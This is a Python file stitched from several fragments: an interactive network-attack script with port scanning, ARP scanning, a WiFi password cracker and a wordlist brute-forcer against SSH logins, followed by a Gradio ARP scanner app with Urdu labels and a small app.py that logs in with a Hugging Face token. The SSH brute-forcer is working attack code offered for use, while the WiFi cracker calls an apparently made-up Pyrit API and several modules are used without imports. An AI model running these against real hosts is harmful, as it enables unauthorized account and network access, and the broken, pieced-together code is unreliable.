import socket import threading def validate_ip(ip): try: ipaddress.ip_address(ip) return True except ValueError: return False def validate_port(port): try: port = int(port) if port < 1 or port > 65535: return False return True except ValueError: return False def scan_port(ip, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((ip, port)) if result == 0: print(f"Port {port} is open on {ip}") sock.close() except Exception as e: print(f"Error scanning port {port}: {str(e)}") def scan_ports(ip, start_port, end_port): threads = [] for port in range(start_port, end_port + 1): thread = threading.Thread(target=scan_port, args=(ip, port)) threads.append(thread) thread.start() for thread in threads: thread.join() def arp_scan(ip_range): arp_request = scapy.ARP(pdst=ip_range) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast/arp_request answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] clients_list = [] for element in answered_list: client_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc} clients_list.append(client_dict) return clients_list def print_result(results): print("IP\t\tMAC Address\n-----------------------------------------") for client in results: print("{0}\t{1}".format(client["ip"], client["mac"])) def crack_wifi_password(bssid, wordlist_path): # Create a new Pyrit project project = pyrit.Project() # Add the BSSID to the project project.add_bssid(bssid) # Load the wordlist wordlist = pyrit.Wordlist(wordlist_path) # Start the cracking process project.crack(wordlist) # Get the cracked password cracked_password = project.get_cracked_password() if cracked_password: print(f"Cracked password: {cracked_password}") else: print("Failed to crack password") def crack_ssh_password(hostname, username, wordlist_path): # Load the wordlist with open(wordlist_path, "r") as f: passwords = f.readlines() # Iterate over each password in the wordlist for password in passwords: password = password.strip() # Create an SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # Try to connect to the SSH server client.connect(hostname, username=username, password=password) # If the connection is successful, print the cracked password print(f"Cracked password: {password}") # Close the SSH client client.close() break except paramiko.AuthenticationException: # If authentication fails, continue to the next password continue except Exception as e: # If any other exception occurs, print the error message print(f"Error: {str(e)}") break def nmap_scan(ip_range): nm = nmap.PortScanner() nm.scan(ip_range, arguments='-sP') hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()] for host, status in hosts_list: print(f"{host}\t{status}") def ping_sweep(ip_range): command = f"ping -c 1 {ip_range}" process = subprocess.Popen(command.split(), stdout=subprocess.PIPE) output, error = process.communicate() if error: print(f"Error: {error}") else: print(output.decode()) def main(): while True: ip = input("Enter IP address to scan: ") if validate_ip(ip): break else: print("Invalid IP address. Please try again.") while True: start_port = input("Enter starting port: ") if validate_port(start_port): start_port = int(start_port) break else: print("Invalid port number. Please enter a number between 1 and 65535.") while True: end_port = input("Enter ending port: ") if validate_port(end_port): end_port = int(end_port) if end_port >= start_port: break else: print("Ending port must be greater than or equal to starting port.") else: print("Invalid port number. Please enter a number between 1 and 65535.") scan_ports(ip, start_port, end_port) ip_range = input("Enter IP range to scan (e.g. 192.168.1.1/24): ") results = arp_scan(ip_range) print_result(results) bssid = input("Enter BSSID to crack WiFi password: ") wordlist_path = input("Enter path to wordlist file: ") crack_wifi_password(bssid, wordlist_path) hostname = input("Enter hostname to crack SSH password: ") username = input("Enter username to crack SSH password: ") wordlist_path = input("Enter path to wordlist file: ") crack_ssh_password(hostname, username, wordlist_path) ip_range = input("Enter IP range to perform Nmap scan: ") nmap_scan(ip_range) ip_range = input("Enter IP range to perform ping sweep: ") ping_sweep(ip_range) if __name__ == "__main__": main() import gradio as gr import scapy.all as scapy def get_ip_info(target): try: arp_req = scapy.ARP(pdst=target) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_req_broadcast = broadcast / arp_req answered = scapy.srp(arp_req_broadcast, timeout=3, verbose=False)[0] result = [] for sent, received in answered: result.append({"IP": received.psrc, "MAC": received.hwsrc}) if not result: return "⚠️ کوئی ڈیوائس نہیں ملی۔ براہ کرم درست IP Range دیں۔" return result except Exception as e: return f"❌ Error: {e}" iface = gr.Interface( fn=get_ip_info, inputs=gr.Textbox(label="Enter IP Range (مثلاً 192.168.1.1/24)"), outputs="json", title="🔍 Network Scanner using Scapy", description="یہ ایپ Scapy کا استعمال کرتے ہوئے IP addresses اور MACs اسکین کرتی ہے۔" ) if __name__ == "__main__": iface.launch() # طریقہ‑1 (آپ کا موجودہ سِنٹیکس) import scapy.all as scapy # یا طریقہ‑2 (زیادہ واضح) from scapy.all import * # یا import scapy # ---------- app.py ---------- import os from huggingface_hub import login import gradio as gr # (آپ کے باقی imports یہاں ہوں گے) # ==== HF Token ==== HF_TOKEN = os.getenv("HF_TOKEN") if not HF_TOKEN: raise RuntimeError("HF_TOKEN environment variable missing – add it as a Secret in Space or in .env") login(token=HF_TOKEN) # 🔑 اب تمام huggingface_hub کالز authorized # ----- باقی ایپ کا کوڈ (Gradio UI) ----- def dummy(inp): return f"آپ نے لکھا: {inp}" demo = gr.Interface(fn=dummy, inputs=gr.Textbox(lines=2, placeholder="متن لکھیں…"), outputs="text", title="File‑Care Bot – ٹیسٹ") if __name__ == "__main__": demo.launch()